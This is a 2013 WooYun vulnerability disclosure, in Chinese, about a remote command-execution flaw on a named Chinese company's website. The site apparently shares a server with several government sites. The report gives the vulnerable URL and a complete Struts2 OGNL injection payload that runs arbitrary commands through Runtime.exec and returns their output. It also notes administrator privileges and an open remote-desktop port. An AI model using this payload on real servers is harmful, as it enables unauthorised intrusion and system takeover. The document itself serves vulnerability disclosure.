当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-024067

漏洞标题:绿金生物官网命令执行漏洞,同服多个高PR高权重站临危

相关厂商:绿金生物官网

漏洞作者: 相关部们

提交时间:2013-05-20 13:45

修复时间:2013-07-04 13:45

公开时间:2013-07-04 13:45

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-05-20: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-07-04: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

绿金生物官网命令执行漏洞,同服多个高PR高权重政府站点将沦陷,存在各种风险。

详细说明:

漏洞地址:
http://www.ccjczy.com/News.action?urlNewsID=2013423YB34
利用代码:

?('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43req\75@org.apache.struts2.ServletActionContext@getRequest()')(d))&(h)(('\43webRootzpro\75@java.lang.Runtime@getRuntime().exec(\43req.getParameter(%22cmd%22))')(d))&(i)(('\43webRootzproreader\75new\40java.io.DataInputStream(\43webRootzpro.getInputStream())')(d))&(i01)(('\43webStr\75new\40byte[51020]')(d))&(i1)(('\43webRootzproreader.readFully(\43webStr)')(d))&(i111)(('\43webStr12\75new\40java.lang.String(\43webStr)')(d))&(i2)(('\43xman\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i2)(('\43xman\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i95)(('\43xman.getWriter().println(\43webStr12)')(d))&(i99)(('\43xman.getWriter().close()')(d))&cmd=各种命令


whoami 可以看出是administrator权限 远程桌面服务开启,端口为8908

2121212.jpg


由于同服存在多个政府网站,且为高PR 高权重站点,很可能成为不法分子及黑产的目标:

1212.jpg


比如:
吉林科技网
节约网
吉林省工商业联合会(总商会)
智障公益网
.....
如果服务器沦陷,后果相当严重。
由于牵涉到gov网站,所以安全检测不敢深入。详细问题请提交网站管理方处理。
由于涉及政府网站,且pr和百度权重较高,对不法分子的诱惑力极大,所以自评RANK较高,请官方指正。

漏洞证明:

2121212.jpg

修复方案:

打补丁

版权声明:转载请注明来源 相关部们@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价:

评论